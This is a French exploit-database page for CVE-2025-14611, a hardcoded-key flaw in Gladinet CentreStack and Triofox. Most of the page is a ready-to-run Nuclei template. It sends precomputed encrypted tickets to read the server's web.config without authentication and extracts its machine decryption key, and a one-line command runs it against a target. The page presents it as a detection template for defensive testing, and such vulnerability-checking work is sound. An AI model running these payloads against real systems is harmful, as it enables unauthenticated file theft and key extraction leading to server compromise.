Exploit matérialisé

CVE-2025-14611

CRITICAL KEV

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

Nuclei critical Vérifié

Source

Gladinet CentreStack & Triofox - Hardcoded Credentials

Par projectdiscovery

Comment tester cet exploit

Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.

nuclei -id CVE-2025-14611 -u https://your-target

Template yaml

id: CVE-2025-14611

info:
  name: Gladinet CentreStack & Triofox - Hardcoded Credentials
  author: 0xanis
  severity: critical
  description: |
    Gladinet CentreStack and Triofox < 16.12.10420.56791 contain a hardcoded credentials vulnerability caused by use of hardcoded AES cryptoscheme values, letting attackers perform arbitrary local file inclusion without authentication, potentially leading to full system compromise.
  impact: |
    Attackers can exploit hardcoded AES keys to perform arbitrary local file inclusion, potentially leading to full system compromise.
  remediation: |
    Update to version 16.12.10420.56791 or later.
  reference:
    - https://www.huntress.com/blog/active-exploitation-gladinet-centrestack-triofox-insecure-cryptography-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14611
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-321
  metadata:
    verified: true
    max-request: 2
    fofa-query: title="CentreStack" || title="Triofox"
    google-query: intitle:"CentreStack - Login" || intitle:"Triofox - Login"
  tags: cve,cve2025,gladinet,centrestack,triofox,kev,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/storage/filesvr.dn?t={{ticket}}"

    attack: batteringram
    payloads:
      ticket:
        # C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
        - "vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m|GbA|RIwrK0WT6jLb:ulpCaAEZ7n1cnc6XQR3EtoADI"
        # C:\Program Files\Gladinet Cloud Enterprise\root\web.config
        - "vghpI7EToZUDIZDdprSubEhRtHNTizyG2QqrcdDETcITXhiueSqu1pPPD0BQ03d6BDri8Usk8QTlEK1U8I2khiLTdy5632hOGCvV6bq1ZSQKpxPmISgLb:TSHrns|y3r"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "<configuration>","<system.web>")'
          - 'contains_any(header, "application/xml","text/xml","application/octet-stream")'
        condition: and

    extractors:
      - type: regex
        part: body
        name: decryption_key
        group: 1
        regex:
          - 'decryptionKey="([A-Fa-f0-9]+)"'
# digest: 4a0a0047304502203460345f0ae0faebf12e4e95a52625787b5de9a1b284ff55a0b0f2f8d0882a76022100cb98226fff7fcba505fec6b8521181ce320d0e87cdeb4b9a489e117417739947:922c64590222798bb761d5b6d8e72950